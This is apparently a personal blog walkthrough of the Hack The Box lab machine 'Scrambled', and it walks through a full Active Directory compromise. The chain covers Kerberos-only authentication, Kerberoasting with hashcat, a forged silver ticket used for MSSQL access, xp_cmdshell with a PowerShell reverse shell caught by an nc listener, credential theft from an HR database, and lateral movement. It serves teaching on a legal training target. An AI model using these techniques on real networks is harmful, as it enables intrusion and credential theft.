Scrambled HTB Walkthrough - Hack the planet

Scrambled HTB Walkthrough

Scrambled Hack The Box Walkthrough/Writeup:

How I use variables & wordlists:

  • Variables:
    • In my commands you are going to see me use $box, $user, $hash, $domain, $pass often.
      • I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
        • $box = The IP of the box
        • $pass = Passwords I have access to.
        • $user = current user I am enumerating with.
          • Depending on where I am in the process this can change if I move laterally.
        • $domain = the domain name e.g. sugarape.local or contoso.local
      • Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
  • Wordlists:
    • I have symlinks all setup so I can get to my passwords from ~/Wordlists so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to /usr/share/wordlists

1. Enumeration:

NMAP:

  • Basic Scan:

    • nmap $box -Pn -oA basicScan
        kali in 46.02-HTB/BlogEntriesMade/Scrambled/scans/nmap  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh
        🕙 08:18:34 zsh ❯ nmap $box -Pn -oA basicScan
        Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 08:18 BST
        Nmap scan report for 10.129.174.234
        Host is up (0.039s latency).
        Not shown: 987 filtered tcp ports (no-response)
        PORT     STATE SERVICE
        53/tcp   open  domain
        80/tcp   open  http
        88/tcp   open  kerberos-sec
        135/tcp  open  msrpc
        139/tcp  open  netbios-ssn
        389/tcp  open  ldap
        445/tcp  open  microsoft-ds
        464/tcp  open  kpasswd5
        593/tcp  open  http-rpc-epmap
        636/tcp  open  ldapssl
        1433/tcp open  ms-sql-s
        3268/tcp open  globalcatLDAP
        3269/tcp open  globalcatLDAPssl
      
        Nmap done: 1 IP address (1 host up) scanned in 19.92 seconds
    • Some great targets here:
      • webserver
      • dns
      • smb
      • ldap
      • mssql
  • In depth scan:

    • sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
    kali in 46.02-HTB/BlogEntriesMade/Scrambled/scans/nmap  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh  took 11s
    🕙 14:38:27 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 14:38 BST
    Stats: 0:01:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
    SYN Stealth Scan Timing: About 48.86% done; ETC: 14:41 (0:01:14 remaining)
    Nmap scan report for 10.129.115.202
    Host is up (0.038s latency).
    Not shown: 65513 filtered tcp ports (no-response)
    Bug in ms-sql-ntlm-info: no string output.
    PORT      STATE SERVICE       VERSION
    53/tcp    open  domain        Simple DNS Plus
    80/tcp    open  http          Microsoft IIS httpd 10.0
    |_http-title: Scramble Corp Intranet
    |_http-server-header: Microsoft-IIS/10.0
    | http-methods:
    |_  Potentially risky methods: TRACE
    88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-06 13:41:06Z)
    135/tcp   open  msrpc         Microsoft Windows RPC
    139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
    |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time.
    | ssl-cert: Subject: commonName=DC1.scrm.local
    | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
    | Not valid before: 2022-06-09T01:42:36
    |_Not valid after:  2023-06-09T01:42:36
    445/tcp   open  microsoft-ds?
    464/tcp   open  kpasswd5?
    593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
    | ssl-cert: Subject: commonName=DC1.scrm.local
    | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
    | Not valid before: 2022-06-09T01:42:36
    |_Not valid after:  2023-06-09T01:42:36
    |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time.
    1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
    | ms-sql-info:
    |   10.129.115.202:1433:
    |     Version:
    |       name: Microsoft SQL Server 2019 RTM
    |       number: 15.00.2000.00
    |       Product: Microsoft SQL Server 2019
    |       Service pack level: RTM
    |       Post-SP patches applied: false
    |_    TCP port: 1433
    |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time.
    | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
    | Not valid before: 2024-10-06T07:30:55
    |_Not valid after:  2054-10-06T07:30:55
    3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
    | ssl-cert: Subject: commonName=DC1.scrm.local
    | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
    | Not valid before: 2022-06-09T01:42:36
    |_Not valid after:  2023-06-09T01:42:36
    |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time.
    3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
    |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time.
    | ssl-cert: Subject: commonName=DC1.scrm.local
    | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
    | Not valid before: 2022-06-09T01:42:36
    |_Not valid after:  2023-06-09T01:42:36
    4411/tcp  open  found?
    | fingerprint-strings:
    |   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
    |     SCRAMBLECORP_ORDERS_V1.0.3;
    |   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
    |     SCRAMBLECORP_ORDERS_V1.0.3;
    |_    ERROR_UNKNOWN_COMMAND;
    5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Not Found
    9389/tcp  open  mc-nmf        .NET Message Framing
    49667/tcp open  msrpc         Microsoft Windows RPC
    49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    49674/tcp open  msrpc         Microsoft Windows RPC
    49698/tcp open  msrpc         Microsoft Windows RPC
    52608/tcp open  msrpc         Microsoft Windows RPC
    57490/tcp open  msrpc         Microsoft Windows RPC
    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
    SF-Port4411-TCP:V=7.94SVN%I=7%D=10/6%Time=67029371%P=x86_64-pc-linux-gnu%r
    SF:(NULL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMB
    SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.
    SF:0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_OR
    SF:DERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMB
    SF:LECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"
    SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLE
    SF:CORP_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDE
    SF:RS_V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UN
    SF:KNOWN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\
    SF:r\n")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(
    SF:TLSSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SC
    SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_
    SF:V1\.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Fo
    SF:urOhFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMM
    SF:AND;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
    SF:WN_COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
    SF:")%r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,3
    SF:5,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LAND
    SF:esk-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCR
    SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3
    SF:;\r\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D
    SF:,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORD
    SF:ERS_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n"
    SF:)%r(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLE
    SF:CORP_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\
    SF:n");
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running (JUST GUESSING): Microsoft Windows 2019 (89%)
    Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
    No exact OS matches for host (test conditions non-ideal).
    Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb2-time:
    |   date: 2024-10-06T13:43:41
    |_  start_date: N/A
    | smb2-security-mode:
    |   3:1:1:
    |_    Message signing enabled and required
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 324.38 seconds
    • Interesting find here: Port 4411, looks to be a custom service running.

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  • If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
    • We can actually retrieve a significant amount of information via anonymous bind such as:
      • A list of all users
      • A list of all groups
      • A list of all computers.
      • User account attributes.
      • The domain password policy.
      • Enumerate users who are susceptible to AS-REPRoasting.
      • Passwords stored in the description fields
    • The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
  • I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here

  • It turns out the anonymous bind is enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.

    1. We have the naming context of the domain:

      kali in ~/Desktop/WindowsTools 🐍 v3.12.6  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh
      🕙 08:19:00 zsh ❯ python3 ldapchecker.py $box
      Attempting to connect to 10.129.174.234 with SSL...
      Connected successfully. Retrieving server information...
      DSA info (from DSE):
        Supported LDAP versions: 3, 2
        Naming contexts:
          DC=scrm,DC=local
          CN=Configuration,DC=scrm,DC=local
          CN=Schema,CN=Configuration,DC=scrm,DC=local
          DC=DomainDnsZones,DC=scrm,DC=local
          DC=ForestDnsZones,DC=scrm,DC=local
    2. We have the domain functionaility level:

      Other:
        domainFunctionality:
          7
        forestFunctionality:
          7
        domainControllerFunctionality:
          7
      • The functionality level determines the minimum version of Windows server that can be used for a DC.
        • +Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.

        • https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels

        • Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.

        • In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.

        • Here’s a list of functional level numbers and their corresponding Windows Server operating systems:

          Functional Level Number Corresponding OS
          0 Windows 2000
          1 Windows Server 2003 Interim
          2 Windows Server 2003
          3 Windows Server 2008
          4 Windows Server 2008 R2
          5 Windows Server 2012
          6 Windows Server 2012 R2
          7 Windows Server 2016
          8 Windows Server 2019
          9 Windows Server 2022
          • +Note+:
            • Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
            • As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
    3. We have the full server name:

      • Again we can see this has the CN as the base (mentioned previously.)
        serverName:
            CN=DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=scrm,DC=local
  • It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.

    • We have the naming context.
    • Domain name.
  • I update my /etc/hosts file now that we have the server name.

    • This is so we can use tools like kerbrute for user enumeration as well as other tools later on.

Kerberos 88:

User enumeration using Kerbrute:

  • I use kerbrute to check for usernames:
    • kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt
    • I find 5 valid usersnames, I add these to my list of usernames:

SMB 445:

Checking for NULL & Guest Sessions netexec:

  • I check for NULL & Guest session but they are not accessible:

    • netexec smb $box -u 'guest' -p '' --shares
    • netexec smb $box -u '' -p '' --shares
  • I check to see if any of the users I found in kerbrute have used any of their names as a password:

    • netexec smb $box -u Users.txt -p Users.txt --continue-on-success
    • No hits though:

DNS 53:

Using dnsenum to check for interesting DNS records:

  • I fire up dnsenum to enumerate any interesting DNS records:

    • dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
  • I get a hit on an interesting entry straight away:

    • ws01.scrm.local 192.168.0.54
    • This could indicate we have another host running on an internal network, or potentially this host is dual nicked and known by WS01.scrm.local on a seperate network.
    • +Note+:
      • I update my /etc/hosts file to contain this entry.

HTTP 80:

Finding an internal website:

  • I open burpsuite to proxy all traffic through:
    • I navigate to the webserver running on port 80 & find an internal intranet site:
      • As we can see there is nothing to report in Wappalyzer.

Fuzzing for pages using FFUF:

  • I use FFUF to fuzz for more .html pages whilst I explor the site:

    • ffuf -w ~/Wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://$box/FUZZ.html -fc 403 -ic
    • I don’t find anything additional:
  • I fuzz for more directories:

    • ffuf -w ~/Wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://$box/FUZZ -fc 403 -ic
    • Nothing of particular note.

Discovering their was breach & NTLM authentication is disabled:

  • Navigating to the support.html page we can see the below alert:
    • It says that they were breached and now all NTLM authentication has been disabled. Interesting.

Discovering Password Resets Cause Password to Be Set As Username:

  • Enumerating the site further we find the page passwords.html where it says the below:

    Our self service password reset system will be up and running soon but in the meantime please call the IT support line and we will reset your password. If no one is available please leave a message stating your username and we will reset your password to be the same as the username.

    • Meaning there is a good chance that a users password is their username, I have already tried this with SMB, but have not tried other services.
      • +Note+: It turned out this was the way forward however something was up with my box, so had to reset.
  • I save the full email addresses to a list and try password spraying with them as the password as well as thes shortened username, but get no hits.

Discovering that ksimpson is most likely part of IT/Support:

  • ksimpson in screenshot:
    • Looking at the page supportrequest.html it details a process for providing network information & there is a screenshot which has ksimpson as the user:
    • I believe we can safely assume that ksimpson is part of IT/Support in some capacity as they most likely made this screenshot. (This may not seem like much put could be a valauble target to go after later)

Sales Order App:

  • On the page salesorder.html find the following content:
    • It shows that they have their own custom app running (which was expected given NMAP’s output) & that it’s possible to enable debug logging. We don’t have access to this app as far as I can see at the moment but this is good information.

MSSQL 1433:

  • I try cred stuff using netexec with mssql option, but it fails. (Stay tuned to find out why later)

ScrambleCorp Order Service 4411:

  • From our NMAP scan it says:
    4411/tcp  open  found?
    | fingerprint-strings:
    |   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
    |     SCRAMBLECORP_ORDERS_V1.0.3;
    |   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
    |     SCRAMBLECORP_ORDERS_V1.0.3;
    |_    ERROR_UNKNOWN_COMMAND;

Using nc to connect to port 4411:

  • Finding SCRAMBLECORP_ORDERS_V1.0.3;

    • I use nc to connect to the service running on 4411
      • nc $box 4411
      • It tells me that there is a service called SCRAMBLECORP_ORDERS_V1.0.3 running on the service (we knew this from the NMAP scan).
      • What’s most interesting to me is that the banner & and the responses are all followed by a semi-colon ; this is what usually follows an SQL/MSSQL statement.
        • In the NMAP we can also see near the end it says ms-sql-s, oracle-tns:
  • I try entering oracle-sql queries:

    • SELECT * FROM v$version;
    • No luck lets come back to this later.

2. Authenticated Enumeration:

Realizing the mistake I made when enumerating:

  • After alot of enumeration, and some strange results from netexec and some other tools it dawned on me, all of my checks have been with netexec and SMB….which used NTLM….I need to try and connect to the service using kerberos if possible. I need to cred stuff using usernames as passwords but authenticating using kerberos.

Connecting to the SMB shares as ksimpson:

  • As we cannot use NTLM authentication we have to force kerberos authentication. This is possible by passing most programs the -k flag, however most tools expect to be fed a .cacche authentication file by way fo the KRB5CCNAME variable in linux. So we have to somehow create a .cacche file or pass the creds directly on the CLI and have kerberos authenticate using them.
    • I do some digging and I cannot find direct way to craft my own .cacche file. So instead I look to tools I can try and force into using CLI fed creds but authenticate using the kerberos protocol.

Trying to force netexec to use kerberos authentication:

  • I try on netexec by passing the -k flag, but it does not work:
    • I try multiple methods but none work.

      • netexec smb $box -k
      • netexec smb $box -u ksimpson -k
      • netexec smb $box -u ksimpson -p ksimpson -k
      • +Note+: I am using ksimpson as it just kinda feels like the move, with how much we have seen that username so far.
    • Back to the drawing board.

Trying to force smbmap to use kerberos authentication:

  • I try to connect this time with smbmap and it’s the same issue:
    • smbmap -u $user -H $box -k

Trying to force smbclient to use kerberos authentication:

  • Big ol’ *miss here:

    • smbclient -U $domain\$user \\\\$box\\ -k
  • It appears that netexec & smbmap expects a .ccache to provided via the KRB5CCNAME variable, and will not try the provided creds for kerberos authentication.

Using impacket-smbclient to authenticate to the SMB Share using kerberos:

  • I look through the list of tools I use and what’s left, my precious impacket-smbclient:
    • impacket-smbclient $domain/$user:$user@dc1.$domain -k
    • IT CONNECTS!!!!

Finding a file called Network Security Changes.pdf:

  • Finding the .pdf:

    • Whilst enumerating the shares I find a file called Network Security Changes.pdf in the Public share:
  • I download the .pdf:

    • get Network Security Changes.pdf
  • I check all other shares but I am denied access:

Opening Network Security Changes.pdf:

  • Strange text…hmmm?

    • When I initially open the file there is only a small amount of text.
  • Poor obfuscation attempted:

    • I press CTRL+A to select all text and can see that they have just made the text white.
  • I use pdftotext to convert the file to a .txt file:

    • pdftotext *.pdf

I also try and connect to smb as the other users:

  • I check if any other users can connect to SMB via kerberos but they cannot
    • See, this is why using variables is so much easier, change on var $user and you can just repeat all your tasks.

Reading Network Security Changes.pdf:

  • Once converted I open it up and find the following:
    • Key Points:
      • They were compromised via an NTLM Relaying attack which is why they deactivated NTLM authentication & are under the impression Kerberos is more secure.
      • When accessing resources we need to specify the full server name and CN name of the user. e.g. ksimpson.scrm.local instead of just the SAM name of ksimpson: We discovered this in our SMB connection.
      • There are creds stored in their SQL HR Database however this has now been restricted.

Attempting to extract creator names from the .PDF:

If you are not aware, it is sometimes possible to extract valid domain usernames from pdf's if they have been created on a Windows host. As often the Creator Field is populated using the Windows User’s Logged-In Name

  • Some reasons why the Creator Field Uses the Windows User’s Logged-In Name:
    • PDF Metadata Collection:

      • When creating a PDF, many programs (e.g., Microsoft Word, Adobe Acrobat) automatically pull metadata from the system.
    • System Environment Variables:

      • The logged-in Windows username is part of system environment variables. This is often used to populate fields like “Creator” in the PDF document.
    • Program Defaults:

      • By default, many PDF generation tools use the logged-in username as the creator unless manually changed by the user.
    • Tracking Ownership:

      • This feature helps track the original creator or author of a document for auditing or document management purposes.
Attempting to extract Usernames From the PDF using exiftool:
  • exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq > userNames.txt
  • I run it and check the output of the file, however there are no valid usernames, just that it was created using Word 2010:
  • Command Breakdown:

    1. exiftool -Creator -csv *pdf

      • exiftool: Run the tool
      • -Creator: Extracts the Creator metadata field from the files.
      • -csv: Outputs the data in CSV format.
        • This is the most important part for the rest of the command to work:
          • The CSV format provides a structured way to output the metadata in rows and columns. When extracting metadata from multiple PDFs, each PDF’s metadata is presented as a row, and each field (like “Creator”) is a column. This makes it easier to process the data programmatically.
          • Simplicity: When using tools like cut, it’s easier to extract specific fields by referring to column numbers (e.g., -f2 for the second column), which is straightforward with CSV formatting.
      • *pdf: Targets all PDF files in the current directory.
    2. | cut -d, -f2

      • |: Pipes the output from the previous command into the next.
      • cut: Extracts specific fields from the CSV output.
      • -d,: Uses a comma as the delimiter (since it’s CSV data).
      • -f2: Selects the second field, which contains the creator name.
    3. | sort: Sorts the creator names alphabetically.

    4. | uniq: Removes duplicate names, leaving only unique entries.

    5. > userNames.txt

      • Redirects the final output (unique creator names) into a file named userNames.txt

Trying to Connect to MSSQL using impacket-mssql:

  • I attempt to connect as all the users I have found so far:
    • impacket-mssqlclient $domain/$user:$user@dc1.$domain -k
    • What is interesting though is the response for the user ksimpson is different from all other users:
      • [-] ERROR(DC1): Line 1: Login failed for user 'SCRM\ksimpson'.
    • Which leads me to believe they may have access however I just need to find a password for them.

Kerberoasting using Kerberos Credentials to Get More Kerberos Credentials:

  • As we have valid credentials we can use impackets suite of tools to further enumerate and exploit the target.

Using impacket-GetUsersSPNs to extract the SQL service Kerberos Tickets:

  • Kerberoasting with impacket-GetUserSPNs:
    • impacket-GetUserSPNs $domain/$user -k -dc-host dc1.$domain -request -outputfile scrmtickets
    • We get a hit & get the sqlsvc ticket:

Cracking the sqlsvc hashes with hashcat:

  • I pass the hashes into hashcats:
    • hashcat -m 13100 scrmtickets ~/Wordlists/rockyou.txt
    • It cracks almost immediately & now we have a creds for mssql

Trying to connect to the MSSQL Service:

  • I try various ways with impacket-mssqlclient to connect with the password and it does not work.

  • Re-exporting the tickets as .ccache file:

    • impacket-GetUserSPNs $domain/$user -k -dc-host dc1.$domain -request -save
    • I then re-export the tickets but this time as a .ccache file by passing the -save flag.
  • I load it into the KRB5CCNAME variable:

    • However it doesn’t work either. I think this is due it saying in the pdf that only domain admins have access to the she SQL server.

I’ve got a SilverTicket maybe…

  • As I have the service password if I can get the domain SID and the NTML hash of the sqlsvc password I should be able to craft a silver ticket using impacket-ticketer:

Generate NTLM Hash of sqlsvc user:

  • Looking online I find the https://codebeautify.org/ntlm-hash-generator where we can just enter the password and it will generate an NTLM hash. However I want to be able to do this when I don’t have access to that website.

  • Shell Code to convert clear-text password to NTLM hash:

    • iconv -f ASCII -t UTF-16LE <(printf "<Password>") | openssl dgst -md4
    • I verify it matches using the online tool:
      • +Note+: The only reason I do this check as this is the first time I have used this code so need to ensure it works and the hashes match, moving forward I now know I can use this code and it will work.
  • Python Code to Create NTLM hash from clear text creds:

    • Ironically when I went to add the shell code above to my notes. I found an entry where I had done this previously using python. Below is the python code to do so:

      • Install the passlib first
        • pip install passlib
      from passlib.hash import nthash
      password = input("Put your clear text password here: ")
      nt_hash = nthash.hash(password)
      print(nt_hash)

Extracting the Domain SID using impacket-getPac:

  • We can use impacket-getPac to easily extract the DomainSID:
    • impacket-getPac $domain/$user -targetUser administrator -hashes :$hash
    • DomainSID: S-1-5-21-2743207045-1827831105-2542523200
    • +Note+: PAC’s are pretty interesting, see below for more information.
What is a Privilege Attribute Certificate (PAC):
  • Definition:

    • A Privilege Attribute Certificate (PAC) is a data structure used in Microsoft’s Kerberos implementation to store authorization information about a user.
    • The PAC is a Microsoft-specific extension to the Kerberos protocol, documented in MS-PAC specification.
  • Components of a PAC:

    • User Security Identifiers (SIDs):

      • Contains the SID of the user, which is a unique identifier that represents the user in Windows.
      • Includes both the user’s primary SID and any additional SIDs.
    • Group Memberships::

      • Lists the groups to which the user belongs, used for determining access to resources.
      • Contains both domain and local group memberships.
      • Includes Resource Groups and Claims information.
    • Privilege Information:

      • Contains the privileges assigned to the user (e.g., whether the user has administrative rights).
      • Stores User Account Control (UAC) flags.
      • Lists specific Windows privileges (e.g., SeBackupPrivilege, SeDebugPrivilege).
    • Logon Information:

      • Includes logon time, logon count, and other session-specific data.
      • Contains the user’s profile path and home directory.
      • Stores the user’s logon script path.
      • Records the logon server and domain.

Creating the silver ticket with impacket-ticketer:

  • As we have all the necessary parts, domain SID, password & NTLM hash we should be able to craft a kerberos silver ticket.
  • I use impacket-ticketer to make the silver ticket:
    • impacket-ticketer -nthash $hash -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain $domain -dc-ip dc1.$domain -spn MSSQLSvc/dc1.scrm.local:1433 administrator
    • As you can see there are some errors, however it still creates the administrator.ccache

Using the silver ticket to access the SQL instance:

  • I load the ticket into the KRB5CCNAME variable

    • export KRB5CCNAME=./administrator.ccache
  • I check the ticket is loaded with klist:

    • klist
  • I access the host using impacket-mssqlclient:

    • impacket-mssqlclient dc1.$domain -k

3. Foothold:

Activating xp_cmdshell on the host to enumerate the underlying host system:

  • As soon as I connect I see if I can activate xp_cmdshell:

    • enable_xp_cmdshell
    • It works which means we now have remote code execution on the host itself.
  • I check my privs:

    • xp_cmdshell whoami /priv
  • I enumerate the host & the website directory:

    • I try and read the logs and history files but do not have the correct perms:
  • I also check the users home folders but I can only access my own and there is nothng of note:

    • I try and enumerate the shares but I don’t have access there either:

Getting a reverse shell as sqlsvc:

  • As we have remote code execution we can trigger a reverse shell on the host:
  • I start my listener:

    • nc -nvlp 443
  • I use xp_cmdshell to execute my shell:

    • xp_cmdshell powershell -e <base64EncodedString>
  • Shell Caught:

  • Enumeration dead-end:

    • I do some further enumeration however it is a dead-end…as far as I can see.

Enumerating the Database & Finding Creds for MiscSvc:

  • As was mentioned in the PDF we read earlier, the previous attackers were able to compromise the domain after gaining access to the HR database.

  • I enumerate the databases:

    • enum db
    • We can see the HR db is listed.
  • I select the database:

    • use ScrambleHR
  • I list it’s tables & find an interesting table called: UserImport:

    • select * from ScrambleHR.INFORMATION_SCHEMA.TABLES
  • I list the contents of it to find the LdapPwd of the MiscSvc account:

    • select * from UserImport
  • I list the contents of the other shares but they are empty:

4. Lateral Movement:

Getting a shell as MiscSvc:

As I have credentials it dawned on me I can most likely invoke a ps-session using the creds of MiscSvc once I have an established session…..right?

And here’s what didnt’ work:

  • I re-connect my reverse shell like I did with the sqlsvc account using xp_cmdshell:

  • I try and invoke a ps-session * but it does not work*:

  • Let’s try runas:

    • runas /user:miscsvc "powershell"
    • It looks like it will work as it prompts for the password but then doesn’t let me enter it.
  • Lets try PWSH (Powershell for linux):

    • enter-pssession -computername dc1.scrm.local -Credential [email protected]
    • Again it doesn’t work but tells us this is due to wsman not being installed, so let’s install it.
  • Installing PSWSMan & WSMan:

    • After trying various different spellings etc I did some googling:

      1. Install-Module -Name PSWSMan
      2. Install-WSMan
      3. Exit
    • Still no dice it will fail consistently:

Here is what did work Good Ol’ ….Secure….Invoke:

  • We can pass a secure string & then invoke a command as the user miscsvc using the credentialed:
    • From the nc reverse shell we established as sqlsvc we can run the following commands.
    • $SecPassword = ConvertTo-SecureString '<Pass>' -AsPlainText -Force
    • $Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
    • Invoke-Command -Computer 127.0.0.1 -Credential $Cred -ScriptBlock { <CommmandToRun> }

Getting our reverse shell as MiscSvc:

  • I generate another reverse shell from https://revshells.com:

  • Start another listener:

    • nc -nlvp 9999
  • Paste in my command:

  • Shell Caught:

  • Other than the flag there is not much on here….

Here’s a breakdown of why this works Code Explanation:
  1. Convert password to a secure string:

    • $SecPassword = ConvertTo-SecureString '<Password>' -AsPlainText -Force
      • ConvertTo-SecureString: Converts a plain text string '<Password>') into a secure string.
      • -AsPlainText: This flag tells PowerShell that the input is plain text (non-secure).
      • -Force: Suppresses warnings/errors and forces the command to accept plain text input.
      • Result: The password is stored as an encrypted SecureString in the $SecPassword variable.
  2. Create a credential object:

    • $Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
      • New-Object System.Management.Automation.PSCredential: This creates a new credential object, combining a username and the secure password.
      • 'scrm.local\MiscSvc': The username is 'scrm.local\MiscSvc'.
      • $SecPassword: The password (in secure string format) is passed to the credential object.
      • Result: The $Cred object contains the username and encrypted password.
  3. Invoke-Command to execute a script block on a target machine:

    • Invoke-Command -Computer 127.0.0.1 -Credential $Cred -ScriptBlock { whoami }
      • Invoke-Command: Executes the specified script block { whoami } on a remote computer.
      • -Computer 127.0.0.1: Target machine is 127.0.0.1 (the local machine).
